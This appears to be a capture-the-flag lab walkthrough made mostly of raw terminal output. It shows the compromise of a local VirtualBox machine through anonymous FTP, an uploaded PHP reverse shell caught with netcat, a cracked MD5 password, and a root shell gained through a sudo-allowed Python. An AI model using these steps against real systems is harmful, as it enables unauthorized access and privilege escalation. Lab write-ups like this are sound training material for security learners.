```
> cat objetive -l python -p
# Nmap 7.95 scan initiated Tue Mar 18 13:55:21 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p21,22,80 -oN objetive 10.0.2.66
Nmap scan report for 10.0.2.66
Host is up (0.00025s latency).

PORT    STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 0        0              109 Nov 26  2020 CALL.html
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2f:c6:2f:c4:6d:a6:f5:5b:c2:1b:f9:17:1f:9a:09:89 (RSA)
|   256 5e:91:1b:6b:f1:d8:81:de:8b:2c:f3:70:61:ea:6f:29 (ECDSA)
|_  256 f1:98:21:91:c8:ee:4d:a2:83:14:64:96:37:5b:44:3d (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:A2:FB:FA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 18 13:55:33 2025 -- 1 IP address (1 host up) scanned in 12.35 seconds
```

```
> ftp 10.0.2.66
Connected to 10.0.2.66.
220 ProFTPD Server (ProFTPD Default Installation) [10.0.2.66]
Name (10.0.2.66:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||65058|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 0        0              109 Nov 26  2020 CALL.html
226 Transfer complete
ftp> get CALL.html
local: CALL.html remote: CALL.html
229 Entering Extended Passive Mode (|||24553|)
150 Opening BINARY mode data connection for CALL.html (109 bytes)
100% |*******************************************************
226 Transfer complete
109 bytes received in 00:00 (150.77 KiB/s)
ftp> quit
```

```
> cat CALL.html

        File: CALL.html

   1    <html>
   2
   3    <head>
   4        <title>onion</title>
   5    </head>
   6
   7    <body>
   8        <h1>GET READY TO RECEIVE A CALL</h1>
   9
  10    </body>
  11
  12    </html>
```

view-source:http://10.0.2.66/

Firefox Default GTFOBins Nessus SonarQube CCNA

```
1
2  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "ht
3  <html xmlns="http://www.w3.org/1999/xhtml">
4    <!--
5       Do you like gobuster? dirb? etc...
```

```
> gobuster dir -u http://10.0.2.66 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,xml -t 200 -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.66
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,xml
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php               (Status: 403) [Size: 274]
/.html              (Status: 403) [Size: 274]
/index.html         (Status: 200) [Size: 11239]
/files              (Status: 200) [Size: 932]
```

10.0.2.66/files/

Firefox Default GTFOBins Nessus SonarQube

Index of /files

Name	Last modified	Size	Description
Parent Directory		-	
CALL.html	2020-11-26 13:02	109	

```
> cd
> ll
drwxrwxr-x kali kali 4.0 KB Wed Feb 19 01:05:05 2025  BSPWMkali
drwxrwxr-x kali kali 4.0 KB Fri Mar 14 12:49:33 2025  Chisel
drwxr-xr-x kali kali  12 KB Wed Mar 12 11:50:42 2025  Descargas
drwxr-xr-x kali kali 4.0 KB Tue Feb 18 11:24:10 2025  Desktop
drwxr-xr-x kali kali 4.0 KB Mon Jan 13 13:40:10 2025  Documentos
drwxr-xr-x kali kali 4.0 KB Tue Dec 24 11:50:58 2024  Escritorio
drwxr-xr-x kali kali 4.0 KB Tue Mar 18 13:56:25 2025  Hackabell
drwxr-xr-x kali kali 4.0 KB Fri Jan 17 10:04:10 2025  Imágenes
drwxr-xr-x kali kali 4.0 KB Tue Dec 24 11:50:58 2024  Música
drwxr-xr-x kali kali 4.0 KB Sat Mar 15 15:25:54 2025  Pivoting
drwxr-xr-x kali kali 4.0 KB Tue Dec 24 11:50:58 2024  Plantillas
drwxr-xr-x kali kali 4.0 KB Tue Dec 24 11:50:58 2024  Público
drwxr-xr-x kali kali 4.0 KB Sat Mar 15 13:34:27 2025  ScreenShots
drwxr-xr-x kali kali 4.0 KB Wed Jan  8 14:25:07 2025  Tools
drwxrwxr-x kali kali 4.0 KB Sun Mar  2 22:28:08 2025  Vancouver
drwxr-xr-x kali kali 4.0 KB Mon Mar  3 13:47:57 2025  Wallpaper
.rwxrwxr-x kali kali 820 KB Sat Feb 22 16:43:20 2025  linpeas.sh
.rw-rw-r-- kali kali 5.4 KB Sat Jan 25 27:27:02 2025  php-reverse-shell.php
.rw-rw-r-- kali kali  31 B  Sat Jan 11 22:35:04 2025  shell.php
.rw-rw-r-- kali kali 122 B  Mon Mar 10 17:10:02 2025  shell_console.php
.rw-rw-r-- kali kali 3.3 KB Fri Jan  3 09:06:17 2025  starting_point_Lete.ovpn
```

```
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||61108|)
150 Opening BINARY mode data connection for php-reverse-shell.php
100% |***********************************************************
226 Transfer complete
5532 bytes sent in 00:00 (7.16 MiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||36062|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 0        0             109 Nov 26  2020 CALL.html
-rw-r--r--   1 ftp      ftp          5532 Mar 18 13:03 php-reverse-shell.php
226 Transfer complete
```

```
> nc -lvnp 1234
listening on [any] 1234 ...
```

← → C ⌂   ○ 🔒 10.0.2.66/files/

📁 Firefox Default 🟥 GTFOBins ⊕ Nessus 🗲 SonarQube

Index of /files

Name	Last modified	Size	Desc
📁 Parent Directory		-	
📄 CALL.html	2020-11-26 13:02	109	
❓ php-reverse-shell.php	2025-03-18 10:05	5.4K	

```
> nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.65] from (UNKNOWN) [10.0.2.66] 41918
Linux ubuntu 4.4.0-194-generic #226-Ubuntu SMP Wed Oct 21 10:19:36
 10:06:11 up 12 min,  0 users,  load average: 0.08, 0.63, 0.38
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

```
www-data@ubuntu:/$ cd home
www-data@ubuntu:/home$ ls -la
total 16
drwxr-xr-x  3 root   root   4096 Nov 26  2020 .
drwxr-xr-x 23 root   root   4096 Nov 26  2020 ..
-rw-r--r--  1 root   root     43 Nov 26  2020 important.txt
drwxr-xr-x  4 shrek  shrek  4096 Jun 15  2021 shrek
```

```
www-data@ubuntu:/home$ cat important.txt
run the script to see the data
./.runme.sh
```

```
www-data@ubuntu:~$ cd /
www-data@ubuntu:/$ ./.runme.sh
the secret key
is
trolled
restarting computer in 3 seconds...
restarting computer in 2 seconds...
restarting computer in 1 seconds...
```

```
www-data@ubuntu:/$ pwd
/
www-data@ubuntu:/$ ls -la
total 100
drwxr-xr-x  23 root   root    4096 Nov 26  2020 .
drwxr-xr-x  23 root   root    4096 Nov 26  2020 ..
-rwxr-xr-x   1 shrek  shrek   1219 Nov 26  2020 .runme.sh
```

shrek:cf4c2232354952690368f1b3dfdfb24d

Search for a tool

★ SEARCH A TOOL ON DCODE BY KEYWORDS:

e.g. type 'random' ↵

★ BROWSE THE FULL DCODE TOOLS' LIST

Results

MD5

onion

★ MD5 HASH CF4C2232354952690368F1B3DFDFB24D

OPTIONS

★ SALT PREFIXED MD5(SALT+WORD)

★ SALT SUFFIXED MD5(WORD+SALT)

▶ DECRYPT

See also: **Hash Function** — **SHA-1** — **SHA-256** — **Crypt() F**

```
www-data@ubuntu:/$ su shrek
Password:
shrek@ubuntu:/$ password -> onion -> cf4c2232354952690368f1b3dfdfb24d
```

```
shrek@ubuntu:/$ cd /home/shrek/
shrek@ubuntu:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXK00kkkk00KXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXX00o:'.              .';lkXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXKo'                        .ckXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXx,           ........        :0XXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXk.            ............      'kXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXK;             .............     '0XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXX0.         .:lol;.   .....;oxkxo:.....   oXXXXXXXXXXXXXX
XXXXXXXXXXXXXX0      .oNMMMMMMM0.   ...lXMMMMMMMW0;...   cXXXXXXXXXXXXXX
XXXXXXXXXXXXK.      lWMMMMMMMMMW;  ..xMMMMMMMMMMMx....  lXXXXXXXXXXXXXX
XXXXXXXXXXXXX;      kMMMMMMMMMMMMM..:MMMMMMMMMMMMMM0...  0XXXXXXXXXXXXX
XXXXXXXXXXXX0      oMMMMMXKXMMMMMMM:.kMMMMMNKNMMMMMMo...  'XXXXXXXXXXXX
XXXXXXXXXXXX,      WMMWl. :OK0MMMMMl.0MMMMo. ,0XXWMMMX...  XXXXXXXXXXXX
XXXXXXXXXXXX      'MMM:   0MMocMMMM,.oMMMl   xMM0;MMMM...  kXXXXXXXXXXX
XXXXXXXXXXX0     .MMM,    ..;MMM0 ..NMM:    .. 'MMMW...   kXXXXXXXXXXX
XXXXXXXXXXX0      XMMX'    ,NMMX  ..;WMN,      .XMMM0...   xXXXXXXXXXXX
XXXXXXXXXXX0     .NMMMXkxkXMMMk   ...,0MMXkxkXMMMMN,...   dXXXXXXXXXXX
XXXXXXXXXXXX     .xWMMMMMMMWk.    .....c0MMMMMMMMk'....   dXXXXXXXXXXX
XXXXXXXXXXXXl          ,colc'   .;::o:dc,..'codxdc''....   dXXXXXXXXXXX
XXXXXXXXXXXX      .00kxxdxxk000x ,d.:0000kxxxxkk00d....   xXXXXXXXXXXX
XXXXXXXXXXXXd      o000000000000x00000000000000000,....   0XXXXXXXXXXX
XXXXXXXXXXXXX.     c00000000000000000000000000x,.....   KXXXXXXXXXXX
XXXXXXXXXXXXX0      .x0000000000000000000000kc.......   NXXXXXXXXXX
XXXXXXXXXXXXXX;      ;k0000000000000000000kc........   ,XXXXXXXXXX
XXXXXXXXXXXXXX0       ;k000000000000000d;..........   dXXXXXXXXXXX
XXXXXXXXXXXXXXX.       ,d0000000000dc'.............   xXXXXXXXXXX
XXXXXXXXXXXXXXX.                ''''.  .............   .kXXXXXXXXXX
XXXXXXXXXXXXXXK        .;okKNWWWNK0d:.  .............  'kXXXXXXXXX
XXXXXXXXXXXXXXX'       .dXMMMMMMMMMMMMMMMW0:   ..........  'kXXXXXXX
XXXXXXXXXXXXXXK'       ,0MMMMMMMMMMMMMMMMMMMMWx.  ...........  ,KXXXXXX
XXXXXXXXXXXXKc        .0MMMMMMMMMMMMMMMMMMMMMMk.  ...........  xXXXXX
XXXXXXXXXXl       cWMMMMMMMMMMMMMMMMMMMMMMMMMMMo   ............  :XXXX
XXXXXXXXXK.      dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0   ............  .KXX
XXXXXXXX.      'MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO   ............  'XX
invite-me: https://www.linkedin.com/in/eliastouguinho/
shrek@ubuntu:~$ sudo -l
Matching Defaults entries for shrek on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shrek may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3.5
shrek@ubuntu:~$ sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# whoami
root
```